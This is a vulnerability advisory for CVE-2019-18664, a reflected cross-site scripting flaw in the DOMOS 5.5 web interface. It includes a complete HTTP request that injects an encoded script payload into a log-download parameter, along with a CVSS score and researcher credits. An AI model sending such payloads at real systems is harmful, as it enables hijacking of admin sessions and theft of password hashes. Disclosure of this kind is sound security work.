Overview

Vendor: SECUDOS GmbH
Product: DOMOS
Version: 5.5
Vulnerability: Relected Cross-Site Scripting
Fixed Version: 5.6

Background

DOMOS is an own and hardened operating system of SECUDOS GmbH. The operating system is used as a platform by several applications. It also offers a web interface for the administration of operating system settings.

Issue Description

While analyzing the implementation of the DOMOS web interface, one reflected Cross-Site-Scripting vulnerability has been identified, which can be exploited in order to read password hashes from the file system. This vulnerability can be exploited by authenticated attackers with access to the web interface.

Please consider the following complete HTTP-Request:

HTTP-Request

GET /page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1

Host: 10.10.10.1:10000
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
  (KHTML, like Gecko) Falkon/3.0.1 Chrome/69.0.3497.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.8
Cookie: L=german; S=WdylJWgYQfqXVu1VkvBP9pwxBdh91bhDWB87eB5h;
session_id=09bced960d7c7bb0cc15d28c7128b5bc86e7c611

CVE

CVE-2019-18664

CVSSv3 Base Score

CVSS Base Score: 3.5

CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N

Credit

Pascal Keul of SVA System Vertrieb Alexander GmbH

Patrick Muench of SVA System Vertrieb Alexander GmbH

Torsten Löbner of SVA System Vertrieb Alexander GmbH

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